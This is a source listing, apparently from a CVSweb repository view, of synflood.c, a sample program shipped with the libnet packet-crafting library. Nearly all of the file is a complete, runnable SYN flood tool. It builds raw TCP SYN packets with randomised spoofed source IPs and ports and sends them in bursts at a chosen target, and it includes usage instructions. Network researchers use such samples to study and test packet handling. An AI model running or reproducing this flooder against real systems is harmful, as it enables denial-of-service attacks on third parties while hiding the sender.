File:  [ELWIX - Embedded LightWeight unIX -] / embedaddon / libnet / sample / synflood.c
Revision 1.1.1.3 (vendor branch): download - view: text, annotated - select for diffs - revision graph
Wed Sep 27 11:11:38 2023 UTC (9 months ago) by misho
Branches: libnet, MAIN
CVS tags: v1_2p1, HEAD
Version 1.2p1

    1: /*
    2:  *  $Id: synflood.c,v 1.1.1.3 2023/09/27 11:11:38 misho Exp $
    3:  *
    4:  *  Poseidon++ (c) 1996 - 2003 Mike D. Schiffman <mike@infonexus.com>
    5:  *  SYN flooder rewritten for no good reason.  Again as libnet test module.
    6:  *  Again for libnet 1.1.
    7:  *  All rights reserved.
    8:  *
    9:  * Redistribution and use in source and binary forms, with or without
   10:  * modification, are permitted provided that the following conditions
   11:  * are met:
   12:  * 1. Redistributions of source code must retain the above copyright
   13:  *    notice, this list of conditions and the following disclaimer.
   14:  * 2. Redistributions in binary form must reproduce the above copyright
   15:  *    notice, this list of conditions and the following disclaimer in the
   16:  *    documentation and/or other materials provided with the distribution.
   17:  *
   18:  * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
   19:  * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
   20:  * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
   21:  * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
   22:  * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
   23:  * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
   24:  * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
   25:  * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
   26:  * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
   27:  * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
   28:  * SUCH DAMAGE.
   29:  *
   30:  */
   31: 
   32: #if (HAVE_CONFIG_H)
   33: #include "../include/config.h"
   34: #endif
   35: #include "./libnet_test.h"
   36: 
   37: struct t_pack
   38: {
   39:     struct libnet_ipv4_hdr ip;
   40:     struct libnet_tcp_hdr tcp;
   41: };
   42: 
   43: 
   44: int
   45: main(int argc, char **argv)
   46: {
   47:     u_long dst_ip   = 0;
   48:     u_long src_ip   = 0;
   49:     u_short dst_prt = 0;
   50:     u_short src_prt = 0;
   51:     libnet_t *l;
   52:     libnet_ptag_t t;
   53:     char *cp;
   54:     char errbuf[LIBNET_ERRBUF_SIZE];
   55:     int i, c, packet_amt, burst_int, burst_amt, build_ip;
   56: 
   57:     packet_amt  = 0;
   58:     burst_int   = 0;
   59:     burst_amt   = 1;
   60: 
   61:     printf("libnet 1.1 syn flooding: TCP[raw]\n");
   62: 
   63:     /*
   64:      *  Initialize the library.  Root priviledges are required.
   65:      */
   66:     l = libnet_init(
   67:             LIBNET_RAW4,                            /* injection type */
   68:             NULL,                                   /* network interface */
   69:             errbuf);                                /* error buffer */
   70: 
   71:     if (l == NULL)
   72:     {
   73:         fprintf(stderr, "libnet_init() failed: %s", errbuf);
   74:         exit(EXIT_FAILURE); 
   75:     }
   76: 
   77:     while((c = getopt(argc, argv, "t:a:i:b:")) != EOF)
   78:     {
   79:         switch (c)
   80:         {
   81:             /*
   82:              *  We expect the input to be of the form `ip.ip.ip.ip.port`.  We
   83:              *  point cp to the last dot of the IP address/port string and
   84:              *  then seperate them with a NULL byte.  The optarg now points to
   85:              *  just the IP address, and cp points to the port.
   86:              */
   87:             case 't':
   88:                 if (!(cp = strrchr(optarg, '.')))
   89:                 {
   90:                     usage(argv[0]);
   91:                     exit(EXIT_FAILURE);
   92:                 }
   93:                 *cp++ = 0;
   94:                 dst_prt = (u_short)atoi(cp);
   95:                 if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
   96:                 {
   97:                     fprintf(stderr, "Bad IP address: %s\n", optarg);
   98:                     exit(EXIT_FAILURE);
   99:                 }
  100:                 break;
  101:             case 'a':
  102:                 packet_amt  = atoi(optarg);
  103:                 break;
  104:             case 'i':
  105:                 burst_int   = atoi(optarg);
  106:                 break;
  107:             case 'b':
  108:                 burst_amt   = atoi(optarg);
  109:                 break;
  110:             default:
  111:                 usage(argv[0]);
  112:                 exit(EXIT_FAILURE);
  113:         }
  114:     }
  115: 
  116:     if (!dst_prt || !dst_ip || !packet_amt)
  117:     {
  118:         usage(argv[0]);
  119:         exit(EXIT_FAILURE);
  120:     }
  121: 
  122:     libnet_seed_prand(l);
  123: 
  124:     for(t = LIBNET_PTAG_INITIALIZER, build_ip = 1; burst_amt--;)
  125:     {
  126:         for (i = 0; i < packet_amt; i++)
  127:         {
  128:             t = libnet_build_tcp(
  129:                     src_prt = libnet_get_prand(LIBNET_PRu16),
  130:                     dst_prt,
  131:                     libnet_get_prand(LIBNET_PRu32),
  132:                     libnet_get_prand(LIBNET_PRu32),
  133:                     TH_SYN,
  134:                     libnet_get_prand(LIBNET_PRu16),
  135:                     0,
  136:                     0,
  137:                     LIBNET_TCP_H,
  138:                     NULL,
  139:                     0,
  140:                     l,
  141:                     t);
  142: 
  143:             if (build_ip)
  144:             {
  145:                 build_ip = 0;
  146:                 libnet_build_ipv4(
  147:                     LIBNET_TCP_H + LIBNET_IPV4_H,
  148:                     0,
  149:                     libnet_get_prand(LIBNET_PRu16),
  150:                     0,
  151:                     libnet_get_prand(LIBNET_PR8),
  152:                     IPPROTO_TCP,
  153:                     0,
  154:                     src_ip = libnet_get_prand(LIBNET_PRu32),
  155:                     dst_ip,
  156:                     NULL,
  157:                     0,
  158:                     l,
  159:                     0);
  160:             }
  161:             c = libnet_write(l);
  162:             if (c == -1)
  163:             {
  164:                 fprintf(stderr, "libnet_write: %s\n", libnet_geterror(l));
  165:             }
  166: #if !(__WIN32__)
  167:             usleep(250);
  168: #else
  169:             Sleep(250);
  170: #endif
  171: 
  172:             printf("%15s:%5d ------> %15s:%5d\n", 
  173:                     libnet_addr2name4(src_ip, 1),
  174:                     ntohs(src_prt),
  175:                     libnet_addr2name4(dst_ip, 1),
  176:                     dst_prt);
  177:         }
  178: #if !(__WIN32__)
  179:         sleep(burst_int);
  180: #else
  181:         Sleep(burst_int * 1000);
  182: #endif
  183:     }
  184:     exit(EXIT_SUCCESS);
  185: }
  186: 
  187: 
  188: void
  189: usage(char *nomenclature)
  190: {
  191:     fprintf(stderr,
  192:         "\n\nusage: %s -t -a [-i -b]\n"
  193:         "\t-t target, (ip.address.port: 192.168.2.6.23)\n"
  194:         "\t-a number of packets to send per burst\n"
  195:         "\t-i packet burst sending interval (defaults to 0)\n"
  196:         "\t-b number packet bursts to send (defaults to 1)\n" , nomenclature);
  197: }
  198: 
  199: 

FreeBSD-CVSweb <freebsd-cvsweb@FreeBSD.org>